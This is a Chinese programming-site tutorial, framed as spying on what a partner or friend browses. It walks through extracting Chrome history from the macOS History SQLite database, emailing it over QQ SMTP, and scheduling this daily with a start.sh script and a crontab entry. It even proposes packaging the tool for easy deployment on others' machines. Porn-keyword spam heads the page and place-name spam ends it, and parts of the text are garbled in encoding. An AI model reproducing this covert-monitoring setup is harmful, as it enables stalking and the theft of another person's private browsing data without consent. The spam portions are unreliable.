最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站?

 更新時間:2021年05月27日 15:58:40   作者:克金森沐沐  
今天教各位小伙伴一個黑科技,用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站,文中有非常詳細(xì)的介紹,對正在學(xué)習(xí)python的小伙伴們很有幫助,需要的朋友可以參考下

一、需求

1.獲取你對象chrome前一天的瀏覽記錄中的所有網(wǎng)址(url)和訪問時間,并存在一個txt文件中

2.將這個txt文件發(fā)送給指定的郵箱地址(你的郵箱)

3.建立例行任務(wù),每天定時自動完成這些操作,你就可以通過郵件查看你對象每天看啥了

二、背景

1.mac下chrome的瀏覽記錄在哪?怎么獲取網(wǎng)址(url)和訪問時間?

答:路徑:/Users/用戶名/Library/Application\ Support/Google/Chrome/Default/History

History:是一個SQLite數(shù)據(jù)庫,其實(shí)就是一個文件,可以用DB Browser for SQLite

去查看所有的信息,我們要的信息在urls表中

怎么獲?。河胮ython內(nèi)置的sqlite3庫連接History,通過sql得到我們想要的信息

2.怎么發(fā)送一個帶附件的郵件?

答:使用python內(nèi)置的email和smtplib兩個模塊去構(gòu)造和發(fā)送郵件

3.怎么把這些過程自動化?

答:使用shell腳本將這些過程連接起來,然后使用crontab命令定時運(yùn)行

三、requirements

macOS Sierra

Python3.6

Chrome

發(fā)送郵件的qq郵箱地址

qq郵箱授權(quán)碼

SMTP服務(wù)器地址 : smtp.qq.com

接受郵件的郵箱地址

四、代碼

1.get_history.py

2.send_email.py

3.start.sh

4.crontab -e

五、執(zhí)行

(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數(shù)據(jù)組成

從表中可以看出,我們要的網(wǎng)址和訪問時間就在urls.url和urls.last_visit_time中

在這里插入圖片描述

(2) get_history.py:通過這個腳本,我們可以把url和訪問時間提取出來,并且存儲在

result.txt中,下圖就是我得到的部分結(jié)果在這里插入圖片描述

(3) send_email.py:通過這個腳本,我們可以把result.txt作為附件,發(fā)送給指定郵箱地址

(4) ./start.sh :其實(shí),前面幾個腳本,已經(jīng)完成了我們的任務(wù),但是每次都執(zhí)行這么多腳

本,太麻煩了,我們可以把這些腳本的執(zhí)行語句整理成一個shell腳本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣,我們在終端執(zhí)行./start.sh,系統(tǒng)就會幫我們把這三條語句依次執(zhí)行了

注意:由于crontab命令需要絕對路徑,所以這里的路徑都是用絕對路徑

(5) crontab :如果使用了這個命令,在電腦開機(jī)并且聯(lián)網(wǎng)的情況,系統(tǒng)會自動執(zhí)行,然后把結(jié)果發(fā)到你的郵箱

使用方法:在終端下輸入crontab -e,使用vim輸入下面一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說明:前面兩個數(shù)字,就是你每天執(zhí)行這個腳本的時間,我這里設(shè)置的是14:20。

重要的事再說一遍,一定要寫絕對路徑?。?!

六、問題

1.server.login(from_addr, password)函數(shù)中的password不是郵箱密碼,在qq郵箱中,指的是授權(quán)碼

答:qq郵箱授權(quán)碼:什么是授權(quán)碼,它又是如何設(shè)置?_QQ郵箱幫助中心

2.訪問History數(shù)據(jù)庫時,顯示The database is locked!

答:在我們打開瀏覽器的同時去訪問History時,就會出現(xiàn)這種情況,有兩種解決辦法:
(1)關(guān)閉瀏覽器,再去訪問
(2)把History拷貝到其他文件夾中,然后訪問該文件夾下的History

3.timestamp時間戳怎么轉(zhuǎn)換的

答:last_visit_time是微秒,所以要除以10^6; last_visit_time的起始值是1601年1月1日0時0分0秒,所以要減去11644473600;篩選昨天的數(shù)據(jù):現(xiàn)在的日期與last_visit_time的差值小于1的數(shù)據(jù),就是距離當(dāng)前時間小于1天的數(shù)據(jù)

4.crontab出錯

答:crontab中所有路徑都要寫絕對路徑,包括py腳本中的路徑也要寫絕對路徑!

七、總結(jié)

1.運(yùn)用python連接SQLite數(shù)據(jù)庫,并執(zhí)行sql操作

2.運(yùn)用python發(fā)送郵件

3.運(yùn)用shell和crontab建立自動化例行任務(wù)

4.看別人隱私是不對的,這篇文章只是我自己瞎玩的,實(shí)際可行性不強(qiáng)

八、展望

1.把這些打包成一個可執(zhí)行文件,雙擊之后可以直接部署,并且可以跨平臺

2.目前這個腳本,只有在電腦是打開并且聯(lián)網(wǎng)的時候,才能自動執(zhí)行,所以并不能理想地監(jiān)控別人的瀏覽記錄哦!

3.最后祝大家跟封面中的小草一樣頑強(qiáng),早日登上人生巔峰

到此這篇關(guān)于用Python監(jiān)控你的朋友都在瀏覽哪些網(wǎng)站?的文章就介紹到這了,更多相關(guān)Python監(jiān)控網(wǎng)站瀏覽記錄內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python中獲取文件大小的四種辦法

    Python中獲取文件大小的四種辦法

    這篇文章主要給大家介紹了關(guān)于Python中獲取文件大小的四種辦法,我們可以使用Python中的os模塊來獲取視頻文件大小,文中通過代碼示例介紹的非常詳細(xì),需要的朋友可以參考下
    2023-08-08
  • 在Flask使用TensorFlow的幾個常見錯誤及解決

    在Flask使用TensorFlow的幾個常見錯誤及解決

    這篇文章主要介紹了在Flask使用TensorFlow的幾個常見錯誤及解決,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-01-01
  • Python之京東商品秒殺的實(shí)現(xiàn)示例

    Python之京東商品秒殺的實(shí)現(xiàn)示例

    這篇文章主要介紹了Python之京東商品秒殺的實(shí)現(xiàn)示例,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2021-01-01
  • django 做 migrate 時 表已存在的處理方法

    django 做 migrate 時 表已存在的處理方法

    今天小編就為大家分享一篇django 做 migrate 時 表已存在的處理方法,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-08-08
  • Django模板語言 Tags使用詳解

    Django模板語言 Tags使用詳解

    這篇文章主要介紹了Django模板語言 Tags使用詳解,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下
    2019-09-09
  • 使用PyInstaller將Pygame庫編寫的小游戲程序打包為exe文件及出現(xiàn)問題解決方法

    使用PyInstaller將Pygame庫編寫的小游戲程序打包為exe文件及出現(xiàn)問題解決方法

    這篇文章主要介紹了使用PyInstaller將Pygame庫編寫的小游戲程序打包為exe文件的方法,給大家介紹了通過Pyinstaller打包Pygame庫寫的小游戲程序出現(xiàn)的問題及解決方法,非常不錯,具有一定的參考借鑒價值,需要的朋友可以參考下
    2019-09-09
  • 快速進(jìn)修Python指南之面向?qū)ο蠡A(chǔ)

    快速進(jìn)修Python指南之面向?qū)ο蠡A(chǔ)

    這篇文章主要為大家介紹了Java開發(fā)者快速進(jìn)修Python指南之面向?qū)ο蠡A(chǔ),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-12-12
  • 基于windows下pip安裝python模塊時報錯總結(jié)

    基于windows下pip安裝python模塊時報錯總結(jié)

    今天小編就為大家分享一篇基于windows下pip安裝python模塊時報錯總結(jié),具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2018-06-06
  • PyQt5+Caffe+Opencv搭建人臉識別登錄界面

    PyQt5+Caffe+Opencv搭建人臉識別登錄界面

    這篇文章主要為大家詳細(xì)介紹了PyQt5+Caffe+Opencv搭建人臉識別登錄界面,文中示例代碼介紹的非常詳細(xì),具有一定的參考價值,感興趣的小伙伴們可以參考一下
    2019-08-08
  • Python文件及目錄處理的方法

    Python文件及目錄處理的方法

    這篇文章主要介紹了Python文件及目錄處理的方法,Python可以用于處理文本文件和二進(jìn)制文件,比如創(chuàng)建文件、讀寫文件等操作。本文介紹Python處理目錄以及文件的相關(guān)資料,需要的朋友可以參考一下
    2021-12-12

最新評論

江城| 闸北区| 贵定县| 灵丘县| 阿克苏市| 兴城市| 东乡族自治县| 乌鲁木齐市| 瑞安市| 裕民县| 措美县| 屯门区| 星座| 峨眉山市| 城市| 浮梁县| 中牟县| 额尔古纳市| 大连市| 东平县| 乐都县| 岐山县| 新化县| 台南市| 长阳| 延寿县| 邮箱| 古交市| 西丰县| 葵青区| 平山县| 海南省| 格尔木市| 延庆县| 武陟县| 集贤县| 海盐县| 平邑县| 荣昌县| 罗定市| 辽阳县|